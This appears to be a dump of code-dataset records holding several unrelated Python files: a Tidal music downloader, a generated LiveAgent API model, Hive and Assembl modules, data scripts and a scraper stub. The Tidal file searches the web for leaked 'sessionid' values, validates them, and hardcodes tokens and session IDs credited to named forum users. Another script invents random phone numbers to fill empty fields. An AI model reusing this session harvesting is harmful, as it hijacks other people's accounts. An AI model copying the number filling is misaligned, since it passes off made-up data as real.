r'(?<=sessionid=).{36,39}?(?=[& ])'\n session_id = re.search(pattern, snippet, re.DOTALL).group(0)\n # Remove all whitespace\n session_id = ''.join(session_id.split())\n # check to see if it's a valid session\n user_session = self.get('sessions/{}'.format(session_id))\n if 'userId' in user_session:\n return session_id\n\n start += 10\n if start > response['queries']['request'][0]['totalResults']:\n raise TidalError('can\\'t find a valid session id')\n\n def create_folder(self, folder_name):\n if \"audio/\" not in folder_name:\n folder_name = \"audio/\" + folder_name\n try:\n os.mkdir(folder_name)\n return True\n except OSError as e:\n #print \"Folder %s already exists\" % folder_name.encode(\"utf-8\")\n return False\n\n def get_top_playlists(self):\n playlists = self.get(\"featured/new/playlists\", limit = 35)\n #print json.dumps(playlists, indent = 4)\n\n for playlist in playlists[\"items\"]:\n self.download_playlist(playlist[\"uuid\"])\n\n def get_top_albums(self):\n albums = self.get(\"featured/new/albums\", limit = 35)\n\n for album in albums[\"items\"]:\n #print album[\"id\"]\n #self.download_album(album[\"id\"])\n pass\n\n def download_artist_top_tracks(self, artist_id):\n artist = self.get(\"artists/%s\" % artist_id)\n\n folder_name = \"%s Top Tracks\" % artist[\"name\"]\n success = self.create_folder(folder_name)\n #print artist\n if success:\n tracks = self.get(\"artists/%s/toptracks\" % artist_id)\n\n for track in tracks[\"items\"]:\n self.download_track(track[\"id\"], folder_name)\n else:\n #print \"Error: folder %s already exists\" % folder_name\n pass\n\n def download_track_wav(self, track_id):\n track = self.download_track(track_id, folder_name=\"temp\")\n if track[\"result\"] == \"success\":\n ffmpeg = FFMPEG()\n filepath = \"audio/Various Artists — Trill Entertainment Presents: Trill Fam - Respect Is A Must/03. Shell — In It (feat. Foxx & Lil' Trill).flac\"\n result = ffmpeg.execute(track[\"filepath\"])\n return result\n else:\n return {\n \"error\": track\n }\n\n def search(self, query):\n return self.get(\"search\", query=query, countryCode=\"CA\")\n\ndef main():\n \"\"\"\n test code\n \"\"\"\n token = \"_KM2HixcUBZtmktH\" #???\n token = \"_DSTon1kC8pABnTw\" # ???\n\n token = \"hZ9wuySZCmpLLiui\"\n token = \"wdgaB1CilGA-S_s2\" #web token\n token = \"GvFhCVAYp3n43EN3\" #iOS token\n #token = None\n session_id = \"c7b9fef8-66aa-4e8e-b73f-7134ff40ea3c\" # mashalleq's Web session https://community.roonlabs.com/t/raat-broken-on-rasperry-pi-resolved-turning-off-jumbo-frames/25378/11\n #session_id = \"\"\n session_id = \"7bb6f866-88d7-470b-850a-f6cc83363b30\" #Geoff Coupe's session. https://community.roonlabs.com/t/tidal-gapless-playback-resolved-only-with-hifi-subscription/23203/22\n from database import Database\n db = Database()\n tidal_user_id = 32655326\n tidal_user = db.load(\"tidal\", \"users\", tidal_user_id)\n session_id = tidal_user['flac']['sessionId']\n #tidal = Tidal(token, session_id)\n tidal = Tidal(token)\n session_id = tidal._get_session_id()\n print(session_id)\nif __name__ == '__main__':\n main()\n\n","sub_path":"lib/tidal.py","file_name":"tidal.py","file_ext":"py","file_size_in_byte":15308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"631607566","text":"# coding: utf-8\n\n\"\"\"\n LiveAgent API\n\n This page contains complete API documentation for LiveAgent software. To display additional info and examples for specific API method, just click on the method name in the list below.

    To be able to make API requests you need to generate an API key in your admin panel first. [See this article for detailed info.](https://support.liveagent.com/741982-API-key)

    Additional info about more advanced agent, contact or ticket API filters can be found [in this article](https://support.liveagent.com/513528-APIv3-advanced-filter-examples).

    If you have any question or doubts regarding this API, please do not hesitate to contact our support team. # noqa: E501\n\n OpenAPI spec version: 3.0.0\n Contact: support@qualityunit.com\n Generated by: https://github.com/swagger-api/swagger-codegen.git\n\"\"\"\n\n\nimport pprint\nimport re # noqa: F401\n\nimport six\n\n\nclass TicketListItem(object):\n \"\"\"NOTE: This class is auto generated by the swagger code generator program.\n\n Do not edit the class manually.\n \"\"\"\n\n \"\"\"\n Attributes:\n swagger_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n swagger_types = {\n 'useridentifier': 'str',\n 'subject': 'str',\n 'departmentid': 'str',\n 'recipient': 'str',\n 'message': 'str',\n 'recipient_name': 'str',\n 'carbon_copies': 'str',\n 'blind_carbon_copies': 'str',\n 'status': 'str',\n 'mail_message_id': 'str',\n 'do_not_send_mail': 'str',\n 'use_template': 'str',\n 'is_html_message': 'str',\n 'custom_fields': 'list[CustomFields]',\n 'tags': 'list[str]',\n 'attachments': 'str'\n }\n\n attribute_map = {\n 'useridentifier': 'useridentifier',\n 'subject': 'subject',\n 'departmentid': 'departmentid',\n 'recipient': 'recipient',\n 'message': 'message',\n 'recipient_name': 'recipient_name',\n 'carbon_copies': 'carbon_copies',\n 'blind_carbon_copies': 'blind_carbon_copies',\n 'status': 'status',\n 'mail_message_id': 'mail_message_id',\n 'do_not_send_mail': 'do_not_send_mail',\n 'use_template': 'use_template',\n 'is_html_message': 'is_html_message',\n 'custom_fields': 'custom_fields',\n 'tags': 'tags',\n 'attachments': 'attachments'\n }\n\n def __init__(self, useridentifier=None, subject=None, departmentid=None, recipient=None, message=None, recipient_name=None, carbon_copies=None, blind_carbon_copies=None, status='N', mail_message_id=None, do_not_send_mail='N', use_template='Y', is_html_message='N', custom_fields=None, tags=None, attachments=None): # noqa: E501\n \"\"\"TicketListItem - a model defined in Swagger\"\"\" # noqa: E501\n\n self._useridentifier = None\n self._subject = None\n self._departmentid = None\n self._recipient = None\n self._message = None\n self._recipient_name = None\n self._carbon_copies = None\n self._blind_carbon_copies = None\n self._status = None\n self._mail_message_id = None\n self._do_not_send_mail = None\n self._use_template = None\n self._is_html_message = None\n self._custom_fields = None\n self._tags = None\n self._attachments = None\n self.discriminator = None\n\n self.useridentifier = useridentifier\n self.subject = subject\n self.departmentid = departmentid\n self.recipient = recipient\n self.message = message\n if recipient_name is not None:\n self.recipient_name = recipient_name\n if carbon_copies is not None:\n self.carbon_copies = carbon_copies\n if blind_carbon_copies is not None:\n self.blind_carbon_copies = blind_carbon_copies\n if status is not None:\n self.status = status\n if mail_message_id is not None:\n self.mail_message_id = mail_message_id\n if do_not_send_mail is not None:\n self.do_not_send_mail = do_not_send_mail\n if use_template is not None:\n self.use_template = use_template\n if is_html_message is not None:\n self.is_html_message = is_html_message\n if custom_fields is not None:\n self.custom_fields = custom_fields\n if tags is not None:\n self.tags = tags\n if attachments is not None:\n self.attachments = attachments\n\n @property\n def useridentifier(self):\n \"\"\"Gets the useridentifier of this TicketListItem. # noqa: E501\n\n\n :return: The useridentifier of this TicketListItem. # noqa: E501\n :rtype: str\n \"\"\"\n return self._useridentifier\n\n @useridentifier.setter\n def useridentifier(self, useridentifier):\n \"\"\"Sets the useridentifier of this TicketListItem.\n\n\n :param useridentifier: The useridentifier of this TicketListItem. # noqa: E501\n :type: str\n \"\"\"\n if useridentifier is None:\n raise ValueError(\"Invalid value for `useridentifier`, must not be `None`\") # noqa: E501\n\n self._useridentifier = useridentifier\n\n @property\n def subject(self):\n \"\"\"Gets the subject of this TicketListItem. # noqa: E501\n\n\n :return: The subject of this TicketListItem. # noqa: E501\n :rtype: str\n \"\"\"\n return self._subject\n\n @subject.setter\n def subject(self, subject):\n \"\"\"Sets the subject of this TicketListItem.\n\n\n :param subject: The subject of this TicketListItem. # noqa: E501\n :type: str\n \"\"\"\n if subject is None:\n raise ValueError(\"Invalid value for `subject`, must not be `None`\") # noqa: E501\n\n self._subject = subject\n\n @property\n def departmentid(self):\n \"\"\"Gets the departmentid of this TicketListItem. # noqa: E501\n\n\n :return: The departmentid of this TicketListItem. # noqa: E501\n :rtype: str\n \"\"\"\n return self._departmentid\n\n @departmentid.setter\n def departmentid(self, departmentid):\n \"\"\"Sets the departmentid of this TicketListItem.\n\n\n :param departmentid: The departmentid of this TicketListItem. # noqa: E501\n :type: str\n \"\"\"\n if departmentid is None:\n raise ValueError(\"Invalid value for `departmentid`, must not be `None`\") # noqa: E501\n\n self._departmentid = departmentid\n\n @property\n def recipient(self):\n \"\"\"Gets the recipient of this TicketListItem. # noqa: E501\n\n\n :return: The recipient of this TicketListItem. # noqa: E501\n :rtype: str\n \"\"\"\n return self._recipient\n\n @recipient.setter\n def recipient(self, recipient):\n \"\"\"Sets the recipient of this TicketListItem.\n\n\n :param recipient: The recipient of this TicketListItem. # noqa: E501\n :type: str\n \"\"\"\n if recipient is None:\n raise ValueError(\"Invalid value for `recipient`, must not be `None`\") # noqa: E501\n\n self._recipient = recipient\n\n @property\n def message(self):\n \"\"\"Gets the message of this TicketListItem. # noqa: E501\n\n\n :return: The message of this TicketListItem. # noqa: E501\n :rtype: str\n \"\"\"\n return self._message\n\n @message.setter\n def message(self, message):\n \"\"\"Sets the message of this TicketListItem.\n\n\n :param message: The message of this TicketListItem. # noqa: E501\n :type: str\n \"\"\"\n if message is None:\n raise ValueError(\"Invalid value for `message`, must not be `None`\") # noqa: E501\n\n self._message = message\n\n @property\n def recipient_name(self):\n \"\"\"Gets the recipient_name of this TicketListItem. # noqa: E501\n\n\n :return: The recipient_name of this TicketListItem. # noqa: E501\n :rtype: str\n \"\"\"\n return self._recipient_name\n\n @recipient_name.setter\n def recipient_name(self, recipient_name):\n \"\"\"Sets the recipient_name of this TicketListItem.\n\n\n :param recipient_name: The recipient_name of this TicketListItem. # noqa: E501\n :type: str\n \"\"\"\n\n self._recipient_name = recipient_name\n\n @property\n def carbon_copies(self):\n \"\"\"Gets the carbon_copies of this TicketListItem. # noqa: E501\n\n\n :return: The carbon_copies of this TicketListItem. # noqa: E501\n :rtype: str\n \"\"\"\n return self._carbon_copies\n\n @carbon_copies.setter\n def carbon_copies(self, carbon_copies):\n \"\"\"Sets the carbon_copies of this TicketListItem.\n\n\n :param carbon_copies: The carbon_copies of this TicketListItem. # noqa: E501\n :type: str\n \"\"\"\n\n self._carbon_copies = carbon_copies\n\n @property\n def blind_carbon_copies(self):\n \"\"\"Gets the blind_carbon_copies of this TicketListItem. # noqa: E501\n\n\n :return: The blind_carbon_copies of this TicketListItem. # noqa: E501\n :rtype: str\n \"\"\"\n return self._blind_carbon_copies\n\n @blind_carbon_copies.setter\n def blind_carbon_copies(self, blind_carbon_copies):\n \"\"\"Sets the blind_carbon_copies of this TicketListItem.\n\n\n :param blind_carbon_copies: The blind_carbon_copies of this TicketListItem. # noqa: E501\n :type: str\n \"\"\"\n\n self._blind_carbon_copies = blind_carbon_copies\n\n @property\n def status(self):\n \"\"\"Gets the status of this TicketListItem. # noqa: E501\n\n
    N - new
    T - chatting
    P - calling
    R - resolved
    X - deleted
    B - spam
    A - answered
    C - open
    W - postponed # noqa: E501\n\n :return: The status of this TicketListItem. # noqa: E501\n :rtype: str\n \"\"\"\n return self._status\n\n @status.setter\n def status(self, status):\n \"\"\"Sets the status of this TicketListItem.\n\n
    N - new
    T - chatting
    P - calling
    R - resolved
    X - deleted
    B - spam
    A - answered
    C - open
    W - postponed # noqa: E501\n\n :param status: The status of this TicketListItem. # noqa: E501\n :type: str\n \"\"\"\n allowed_values = [\"N\", \"T\", \"P\", \"R\", \"X\", \"B\", \"A\", \"C\", \"W\"] # noqa: E501\n if status not in allowed_values:\n raise ValueError(\n \"Invalid value for `status` ({0}), must be one of {1}\" # noqa: E501\n .format(status, allowed_values)\n )\n\n self._status = status\n\n @property\n def mail_message_id(self):\n \"\"\"Gets the mail_message_id of this TicketListItem. # noqa: E501\n\n\n :return: The mail_message_id of this TicketListItem. # noqa: E501\n :rtype: str\n \"\"\"\n return self._mail_message_id\n\n @mail_message_id.setter\n def mail_message_id(self, mail_message_id):\n \"\"\"Sets the mail_message_id of this TicketListItem.\n\n\n :param mail_message_id: The mail_message_id of this TicketListItem. # noqa: E501\n :type: str\n \"\"\"\n\n self._mail_message_id = mail_message_id\n\n @property\n def do_not_send_mail(self):\n \"\"\"Gets the do_not_send_mail of this TicketListItem. # noqa: E501\n\n Y - yes, N - no # noqa: E501\n\n :return: The do_not_send_mail of this TicketListItem. # noqa: E501\n :rtype: str\n \"\"\"\n return self._do_not_send_mail\n\n @do_not_send_mail.setter\n def do_not_send_mail(self, do_not_send_mail):\n \"\"\"Sets the do_not_send_mail of this TicketListItem.\n\n Y - yes, N - no # noqa: E501\n\n :param do_not_send_mail: The do_not_send_mail of this TicketListItem. # noqa: E501\n :type: str\n \"\"\"\n allowed_values = [\"Y\", \"N\"] # noqa: E501\n if do_not_send_mail not in allowed_values:\n raise ValueError(\n \"Invalid value for `do_not_send_mail` ({0}), must be one of {1}\" # noqa: E501\n .format(do_not_send_mail, allowed_values)\n )\n\n self._do_not_send_mail = do_not_send_mail\n\n @property\n def use_template(self):\n \"\"\"Gets the use_template of this TicketListItem. # noqa: E501\n\n Y - yes, N - no # noqa: E501\n\n :return: The use_template of this TicketListItem. # noqa: E501\n :rtype: str\n \"\"\"\n return self._use_template\n\n @use_template.setter\n def use_template(self, use_template):\n \"\"\"Sets the use_template of this TicketListItem.\n\n Y - yes, N - no # noqa: E501\n\n :param use_template: The use_template of this TicketListItem. # noqa: E501\n :type: str\n \"\"\"\n allowed_values = [\"Y\", \"N\"] # noqa: E501\n if use_template not in allowed_values:\n raise ValueError(\n \"Invalid value for `use_template` ({0}), must be one of {1}\" # noqa: E501\n .format(use_template, allowed_values)\n )\n\n self._use_template = use_template\n\n @property\n def is_html_message(self):\n \"\"\"Gets the is_html_message of this TicketListItem. # noqa: E501\n\n Y - yes, N - no # noqa: E501\n\n :return: The is_html_message of this TicketListItem. # noqa: E501\n :rtype: str\n \"\"\"\n return self._is_html_message\n\n @is_html_message.setter\n def is_html_message(self, is_html_message):\n \"\"\"Sets the is_html_message of this TicketListItem.\n\n Y - yes, N - no # noqa: E501\n\n :param is_html_message: The is_html_message of this TicketListItem. # noqa: E501\n :type: str\n \"\"\"\n allowed_values = [\"Y\", \"N\"] # noqa: E501\n if is_html_message not in allowed_values:\n raise ValueError(\n \"Invalid value for `is_html_message` ({0}), must be one of {1}\" # noqa: E501\n .format(is_html_message, allowed_values)\n )\n\n self._is_html_message = is_html_message\n\n @property\n def custom_fields(self):\n \"\"\"Gets the custom_fields of this TicketListItem. # noqa: E501\n\n\n :return: The custom_fields of this TicketListItem. # noqa: E501\n :rtype: list[CustomFields]\n \"\"\"\n return self._custom_fields\n\n @custom_fields.setter\n def custom_fields(self, custom_fields):\n \"\"\"Sets the custom_fields of this TicketListItem.\n\n\n :param custom_fields: The custom_fields of this TicketListItem. # noqa: E501\n :type: list[CustomFields]\n \"\"\"\n\n self._custom_fields = custom_fields\n\n @property\n def tags(self):\n \"\"\"Gets the tags of this TicketListItem. # noqa: E501\n\n array of tags id # noqa: E501\n\n :return: The tags of this TicketListItem. # noqa: E501\n :rtype: list[str]\n \"\"\"\n return self._tags\n\n @tags.setter\n def tags(self, tags):\n \"\"\"Sets the tags of this TicketListItem.\n\n array of tags id # noqa: E501\n\n :param tags: The tags of this TicketListItem. # noqa: E501\n :type: list[str]\n \"\"\"\n\n self._tags = tags\n\n @property\n def attachments(self):\n \"\"\"Gets the attachments of this TicketListItem. # noqa: E501\n\n\n :return: The attachments of this TicketListItem. # noqa: E501\n :rtype: str\n \"\"\"\n return self._attachments\n\n @attachments.setter\n def attachments(self, attachments):\n \"\"\"Sets the attachments of this TicketListItem.\n\n\n :param attachments: The attachments of this TicketListItem. # noqa: E501\n :type: str\n \"\"\"\n\n self._attachments = attachments\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n\n for attr, _ in six.iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n result[attr] = value\n if issubclass(TicketListItem, dict):\n for key, value in self.items():\n result[key] = value\n\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n return pprint.pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, TicketListItem):\n return False\n\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n","sub_path":"liveagent_api/models/ticket_list_item.py","file_name":"ticket_list_item.py","file_ext":"py","file_size_in_byte":17186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"217352349","text":"\"\"\"\nHiveSetup\n=========\nThis module is used to connect to Hive to load in the\nN-grams data into a structured data table.\n\"\"\"\nimport os\nimport sys\nfrom subprocess import (PIPE, Popen, call, check_output,\n check_call, CalledProcessError)\nfrom pprint import pprint\nimport numpy as np\nimport pandas as pd\n\n\nclass Hive:\n \"\"\"\n Hive\n ----\n Hive command API.\n Command Line Options(CLI):\n -H,--help: Print help information\n --define, -d: variable substitution(e.g. -d A=B)\n -e : SQL from command line\n -f : SQL from files\n -h : connecting to Hive Server on remote host\n --hiveconf : Use value for given property\n --hivevar : Variable substitution to apply to hive\n -i : Initialization SQL file\n -p : connecting to Hive Server on port number\n -S,--silent: Silent mode in interactive shell\n -v,--verbose: Verbose mode (echo executed SQL to the console)\n\n #payload = list(map(lambda x: 'hive -e \"use {}; show tables;'.format(x), self.databases))\n \"\"\"\n\n\n def __init__(self):\n self.hive_warehouse = None\n self.hive_tables = None\n self.current_database = None\n self.databases = None\n self.tables = None\n self.current_table = None\n\n # - attempt to load in current Hive information\n try:\n # - get the hive database information\n self.databases = Popen('hive -e \"show databases;\"', stdout=PIPE, shell=True).communicate()\n self.databases = str(list(self.databases)[0]).split(\"\\n\")[:-1]\n\n\n # - get the hive table information\n self.hive_tables = Popen('hive -e \"use drw; show tables;\"', stdout=PIPE, shell=True).communicate()\n self.hive_tables = str(list(self.hive_tables)[0]).split(\"\\n\")[:-1]\n\n for db in self.databases:\n if db not in self.hive_warehouse:\n self.hive_warehouse[db] = {}\n hive_cmd = 'hive -e \"use %s; show tables;\"' % db\n pprint(hive_cmd)\n hive_payload = Popen(hive_cmd, stdin=PIPE, shell=True).communicate()\n hive_payload = str(list(hive_payload)[0]).split(\"\\n\")[:-1]\n pprint(hive_payload)\n # - create an internal dictionary to hold the table names\n for h in hive_payload:\n if h not in self.hive_warehouse[db]:\n table_cmd = 'hive -e \"describe %s.%s;\"' %(db, h)\n hive_table = Popen(table_cmd, stdin=PIPE, shell=True).communicate()\n self.hive_warehouse[db][h] = list(map(lambda x: x[:2],\n [str(h).split('\\t') for h in str(list(hive_table)[0]) \\\n .split('\\n')]))\n self.hive_warehouse[db][h] = [[str(x).rstrip() for x in row]\n for row in self.hive_warehouse[db][h] if len(row) > 1]\n pprint(self.hive_warehouse[db][h])\n except:\n pass\n finally:\n pass\n\n\n def RunQuery(self):\n \"\"\"\n Create a HiveQL query.\n :return:\n \"\"\"\n","sub_path":"Hive/HiveSetup.py","file_name":"HiveSetup.py","file_ext":"py","file_size_in_byte":3501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"342478445","text":"from pyisemail import is_email\nfrom pyramid.httpexceptions import HTTPNotFound, HTTPUnauthorized, HTTPFound\nfrom pyramid.security import authenticated_userid\nfrom pyramid.i18n import TranslationStringFactory\nfrom sqlalchemy.orm import joinedload\nfrom cornice import Service\n\nfrom assembl.views.api import API_DISCUSSION_PREFIX\nfrom assembl.auth import (P_READ, Everyone, P_SYSADMIN, P_ADMIN_DISC)\nfrom assembl.auth.util import get_permissions\nfrom assembl.models import (\n Discussion, AgentProfile, EmailAccount, User, Username)\n\nfrom .. import get_default_context\n\n_ = TranslationStringFactory('assembl')\n\nagents = Service(\n name='agents',\n path=API_DISCUSSION_PREFIX + '/agents/',\n description=\"Retrieve a discussion's agents.\",\n renderer='json')\n\nagent = Service(\n name='agent', path=API_DISCUSSION_PREFIX + '/agents/{id:.+}',\n description=\"Retrieve a single agent\", renderer='json')\n\n\ndef _get_agents_real(discussion, user_id=Everyone, view_def=None):\n agents = AgentProfile.db().query(AgentProfile)\n permissions = get_permissions(user_id, discussion.id)\n include_emails = P_ADMIN_DISC in permissions or P_SYSADMIN in permissions\n if include_emails:\n agents = agents.options(joinedload(AgentProfile.accounts))\n # TODO: Only those in the discussion...\n # look at permissions, posts, extracts... argh!\n\n def view(agent):\n if view_def:\n result = agent.generic_json(view_def, user_id, permissions)\n else:\n result = agent.serializable()\n if result is None:\n return\n if include_emails or agent.id == user_id:\n result['preferred_email'] = agent.get_preferred_email()\n return result\n return [view(agent) for agent in agents if agent is not None]\n\n\n@agents.get(permission=P_READ)\ndef get_agents(request, discussion_only=False):\n discussion_id = int(request.matchdict['discussion_id'])\n discussion = Discussion.get(int(discussion_id))\n if not discussion:\n raise HTTPNotFound(\"Discussion with id '%s' not found.\" % discussion_id)\n view_def = request.GET.get('view')\n return _get_agents_real(\n discussion, authenticated_userid(request), view_def)\n\n\n@agent.get(permission=P_READ)\ndef get_agent(request):\n view_def = request.GET.get('view') or 'default'\n agent_id = request.matchdict['id']\n agent = AgentProfile.get_instance(agent_id)\n\n if not agent:\n raise HTTPNotFound(\"Agent with id '%s' not found.\" % agent_id)\n discussion_id = int(request.matchdict['discussion_id'])\n user_id = authenticated_userid(request)\n permissions = get_permissions(user_id, discussion_id)\n\n agent_json = agent.generic_json(view_def, user_id, permissions)\n current_user = authenticated_userid(request)\n if current_user == agent.id:\n # We probably should add all profile info here.\n agent_json['preferred_email'] = agent.get_preferred_email()\n return agent_json\n\n\n@agent.put()\ndef post_agent(request):\n agent_id = request.matchdict['id']\n agent = AgentProfile.get_instance(agent_id)\n current_user = authenticated_userid(request)\n if current_user != agent.id:\n # Only allow post by self.\n raise HTTPUnauthorized()\n redirect = False\n username = request.params.get('username', '').strip()\n session = AgentProfile.db\n localizer = request.localizer\n errors = []\n\n if username and (\n agent.username is None or username != agent.username):\n # check if exists\n if session.query(Username).filter_by(username=username).count():\n errors.append(localizer.translate(_(\n 'The username %s is already used')) % (username,))\n else:\n old_username = agent.username\n if old_username is not None:\n # free existing username\n session.delete(old_username)\n session.flush()\n # add new username\n session.add(Username(username=username, user=agent))\n\n name = request.params.get('name', '').strip()\n if name:\n agent.name = name\n\n p1, p2 = (request.params.get('password1', '').strip(),\n request.params.get('password2', '').strip())\n if p1 != p2:\n errors.append(localizer.translate(_(\n 'The passwords are not identical')))\n elif p1:\n agent.set_password(p1)\n add_email = request.params.get('add_email', '').strip()\n if add_email:\n if not is_email(add_email):\n return dict(get_default_context(request),\n error=localizer.translate(_(\n \"This is not a valid email\")))\n # No need to check presence since not validated yet\n email = EmailAccount(\n email=add_email, profile=agent)\n session.add(email)\n if redirect:\n return HTTPFound(location=request.route_url(\n 'profile_user', type='u', identifier=username))\n profile = session.query(User).get(agent_id)\n return {}\n","sub_path":"assembl/views/api/agent.py","file_name":"agent.py","file_ext":"py","file_size_in_byte":4990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"1854613","text":"# 가상 DOM(Document Of Object) 를 활용한 크롤러\nfrom selenium import webdriver\n\nurl = 'https://www.naver.com'\n\n# res = rq.get(url) # 직접 접근\n\ndriver = webdriver.Chrome('chromedriver')\n\ndriver.get(url)\n\n#driver.execute_script('alert(\"test\")')\n\n","sub_path":"crawler/selenium_module/seleniumEx01.py","file_name":"seleniumEx01.py","file_ext":"py","file_size_in_byte":258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"67352093","text":"#coding:utf8\nimport xlrd\nimport csv\nimport os\nimport random\nfrom utils.FormatTools import AREACODE_7, AREACODE_8\n\nall_number_set = set()\ndef get_random(area_code):\n bit_one = [6,3,5,7,8]\n bit_two = [8,6,3,5,9]\n if area_code in AREACODE_7:\n while 1:\n s = random.choice(bit_one)\n e = random.choice(bit_two)\n m = random.randint(12345, 99999)\n number = f\"{area_code}-{s}{m}{e}\"\n if number in all_number_set:\n continue\n else:\n all_number_set.add(number)\n return number\n else :\n while 1:\n s = random.choice(bit_one)\n e = random.choice(bit_two)\n m = random.randint(123456, 999999)\n number = f\"{area_code}-{s}{m}{e}\"\n if number in all_number_set:\n continue\n else:\n all_number_set.add(number)\n return number\n\n\ndef fixed(excel_fh=\"fixed/tel_merge_out_manual_robot.xls\"):\n if not (excel_fh.endswith('.xlsx') or excel_fh.endswith('.xls')):\n print('input file not excel suffix', excel_fh)\n return\n src_book = xlrd.open_workbook(excel_fh) # 得到Excel文件的book对象,实例化对象\n sheet0 = src_book.sheet_by_index(0) # 通过sheet索引获得sheet对象\n nrows = sheet0.nrows # 获取行总数\n all_data = []\n for i in range(nrows):\n row = sheet0.row_values(i)\n area_code = row[2]\n if row[3].strip() == '':\n row[3] = get_random(area_code)\n print(\"empty\")\n all_data.append(row)\n root_path, new_name = os.path.split(excel_fh)\n if new_name.endswith('.xlsx'):\n new_name = new_name[:-4] + 'csv'\n elif new_name.endswith('.xls'):\n new_name = new_name[:-3] + 'csv'\n new_name = os.path.join(root_path, new_name)\n with open(new_name, 'w', encoding='utf8', newline='') as wh:\n cw = csv.writer(wh)\n cw.writerows(all_data)\n\n\nif __name__ == \"__main__\":\n fixed()\n","sub_path":"fixed.py","file_name":"fixed.py","file_ext":"py","file_size_in_byte":2024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"414634506","text":"import optparse#TO NIE PSUJE\nimport sys\nimport random\nimport os\ndef organizeParameters():#TO NIE PSUJE\n parser = optparse.OptionParser()\n parser.add_option('-g', '--group',\n action=\"store\", dest=\"setFile\",\n help=\"query string\", default=\"\")\n parser.add_option('-d', '--directory',\n action=\"store\", dest=\"directory\",\n help=\"query string\", default=\"\")\n parser.add_option('-e', '--evaluation',\n action=\"store\", dest=\"validationFile\",\n help=\"query string\", default=\"\")\n parser.add_option('-v', '--evaluationInput',\n action=\"store\", dest=\"validationInputFile\",\n help=\"query string\", default=\"\")\n options, args = parser.parse_args()\n return options\noption = organizeParameters()\ndef loadPoints(filename): #Ladujeb punkty z doswiadczenia #TO NIE PSUJE\n # file = open(filename, 'r')#in.txt\n points = []\n with open(filename,'r') as file:\n for point in file:\n pointCoordinates=point.split(' ')\n pointFloat=[] #wstawic 1 jakby bylo potrzebne, tak jest w trainerze\n for pointCoordinate in pointCoordinates:\n pointFloat.append(float(pointCoordinate))\n points.append(pointFloat)\n return points\ndef splitRandomlyPointsNew(points,splittedPoints):\n trainSet=[]\n valSet=[]\n notUsedIndexes=range(len(points))\n i=0\n while True:\n try:\n index=random.choice(notUsedIndexes)\n notUsedIndexes.remove(index)\n trainSet.append(points[index])\n if(i==4):\n index=random.choice(notUsedIndexes)\n notUsedIndexes.remove(index)\n valSet.append(points[index])\n i=0\n i+=1\n except:\n splittedPoints.append([trainSet,valSet])\n return splittedPoints\n splittedPoints.append([trainSet,valSet])\n return splittedPoints\ndef splitPointsNew(points):\n numOfSets=2\n pointsLen=len(points)\n sets=[]\n splittedPointsResult=[]\n for x in range(numOfSets):\n startIndex=x*pointsLen/numOfSets\n endIndex=startIndex+pointsLen/numOfSets\n sets.append(points[startIndex:endIndex])\n splittedPointsResult.append(sets)\n return splittedPointsResult\ndef mode1New():\n def createRandomDivision(points,valSetProportion):\n trainSet=[]\n valSet=[]\n notUsedIndexes=range(len(points))\n i=0\n while True:\n try:\n index=random.choice(notUsedIndexes)\n if(i splits\n # python validator.py -e validation_set.txt < out.txt > evaluation\n # python validator.py -v evaluation.txt > hyperparameter\nif(options.validationInputFile!=\"\"):\n evaluations=loadEvaluation()\n calculateMistakesOnlyValidationAvg(evaluations)\n print(str(evaluations[0][0]))\n ","sub_path":"validator.py","file_name":"validator.py","file_ext":"py","file_size_in_byte":5905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"482501289","text":"# -*- coding: utf-8 -*-\r\nimport scrapy\r\nimport re\r\nimport json\r\nimport time\r\nfrom koubei.items import WeixiuchangBeijingItem\r\n# from scrapy.conf import settings\r\nfrom scrapy.utils.project import get_project_settings\r\nsettings = get_project_settings()\r\nimport logging\r\nfrom selenium import webdriver\r\nfrom scrapy.xlib.pydispatch import dispatcher\r\nfrom scrapy import signals\r\nimport urllib.parse\r\n\r\nwebsite ='weixiuchang_beijing'\r\n\r\nclass KoubeiSpider(scrapy.Spider):\r\n name = website\r\n # allowed_domains = ['www.bitauto.com']\r\n # start_urls = ['https://www.shanghaiqixiu.org/repair/micro/search/company?fl=pic,type,sid,name,addr,tel,distance,kw,lon,lat,bizScope,brand,category,grade,tag&q=&page=0,4&sort=_score%20desc,distance&point=31.2867,121.50446&fq=status:1+AND+type:164+AND+-kw:4s']\r\n\r\n def __init__(self, **kwargs):\r\n super(KoubeiSpider, self).__init__(**kwargs)\r\n self.carnum = 1000000\r\n settings.set('CrawlCar_Num', self.carnum, priority='cmdline')\r\n settings.set('MONGODB_DB', 'koubei', priority='cmdline')\r\n settings.set('MONGODB_COLLECTION', website, priority='cmdline')\r\n\r\n # self.browser = webdriver.PhantomJS(executable_path=settings['PHANTOMJS_PATH'])\r\n\r\n # headers = {\r\n # 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36',\r\n # 